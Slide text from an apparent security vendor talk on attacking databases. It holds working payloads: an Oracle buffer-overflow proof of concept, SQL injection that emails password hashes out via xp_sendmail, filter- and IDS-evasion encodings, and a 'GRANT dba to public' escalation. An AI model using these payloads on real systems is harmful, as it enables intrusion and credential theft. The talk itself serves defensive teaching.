Hack Your Database Before The Hackers Do
Hack Your Database Before The Hackers Do
OS attacks
Network attacks
SQL Injection
• Many types and methods
Buffer Overflows
DB Engine bugs
Password attacks
Coffee Attack
OS Attacks
Buffer Overflows
DoS
Reconnaissance
Protocol Violations
Buffer Overflows
declare
buff varchar2(32767);
begin
/* generate evil buffer */
buff:='12345678901234567890123456789';
buff:=buff||buff;
buff:=buff||buff;
buff:=buff||buff;
buff:=buff||buff;
buff:=buff||buff;
buff:=buff||'0012345678901234567890123sh2kerr';
/* lets see the buffer size */
dbms_output.put_line('BUFFER SIZE:'||Length(buff));
xDb.XDB_PITRIG_PKG.PITRIG_TRUNCATE(buff,buff);
end;
Database Engine Bugs
● User created
No stacked queries
• Cannot add “; do something nasty”
select * from AdventureWorks.HumanResources.Employee where
EmployeeID = 1; EXEC master.dbo.xp_sendmail
@recipients=N'[email protected]',
@query = N'select user, password from sys.syslogins
where password is not null' ;
utl_inaddr.get_host_name is blocked by
default on newer databases
Many other options
• dbms_aw_xml.readawmetadata
• ordsys.ord_dicom.getmappingxpath
• ctxsys.drithsx.sn
' or dbms_aw_xml.readawmetadata((select
sys_context('USERENV', 'SESSION_USER') from
dual), null) is null --
SQL Injection Out-of-band
A guessing game
Binary results – either our
guess is true or it is false
Requires many more
queries
• Time consuming and
resource consuming
• Can benefit from
parallelizing
• Must be automated
Blind SQL Injection - I
Pseudo-Code:
If the first character of the sys-hashkey is a
'A'
then
select count(*) from all_objects,all_objects
else
select count(*) from dual
end if;
Blind SQL Injection - II
Concatenation
' or dbms_aw_xml.readawmetadata((select sys_context('US' ||
'ERENV', 'SESS' || 'ION_US' || 'ER') from dual), null) is
null --
Changing case
' or dbMS_aW_xMl.reAdaWmetaData((select sYS_cONtExt('US' ||
'ERENV', 'SESS' || 'ION_US' || 'ER') from dUAl), null) is
null –
Using alternative functions
• Instead of UTL_INADDR
• dbms_aw_xml.readawmetadata
• ordsys.ord_dicom.getmappingxpath
• ctxsys.drithsx.sn
Advanced Techniques – Evasion - II
Conversions
• Translate
begin
dbms_output.put_line(translate('userenv','qwertyuiopasdfghj
klzxcvbnm(),.0123456789|;[]''','][;|9876543210.,)
(mnbvcxzlkjhgfdsapoiuytrewq~'));end;
72;|;zc
• CHR
' or dbms_aw_xml.readawmetadata((select
sys_context(chr(85)||chr(83)||chr(69)||chr(82)||chr(69)||
chr(78)||chr(86), chr( 68)||chr(66)||chr(95)||chr(78)||
chr(65)||chr(77)||chr(69)) from dual), null) is null --
• Base64
dbms_output.put_line(utl_encode.text_encode('userenv',
'WE8ISO8859P1', UTL_ENCODE.BASE64));end;
/
dXNlcmVudg==
Advanced Techniques – Evasion - III
DECLARE
l_cr NUMBER;
l_res NUMBER;
BEGIN
l_cr := dbms_sql.open_cursor;
dbms_sql.parse(l_cr,
'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN
EXECUTE IMMEDIATE ''GRANT dba to public''; END;',
dbms_sql.native);
sys.retrieve_data_bad('dual where 1 = dbms_sql.execute('
|| l_cr || ') --', null);
END;
/
* Does not work in 11g
SQL Injection – IDS Evasion
DECLARE
l_cr NUMBER;
l_res NUMBER;
BEGIN
l_cr := dbms_sql.open_cursor;
dbms_sql.parse(l_cr,
translate('1;vm3|; 4|3.l3 3795z5l572_9|3z23v965ze x;.6z
;b;v79; 6ll;1639; ~.|3z9 1x3 95
47xm6v~e ;z1e',
'][;|9876543210.,)(mnbvcxzlkjhgfdsapoiuytrewq~',
'qwertyuiopasdfghjklzxcvbnm(),.0123456789|;[]'''),
dbms_sql.native);
sys.retrieve_data_bad('dual where 1 = dbms_sql.execute(' ||
l_cr || ') --', null);
END;
/
Defense - Developers
Try Hedgehog -
http://www.sentrigo.com
• Virtual patching
• SQL Injection protection
• Fine grain auditing
• Centralized management
• More…
Try Repscan
• Weak passwords
• Missing patches / CPUs
• Malware detection
• More...
Questions?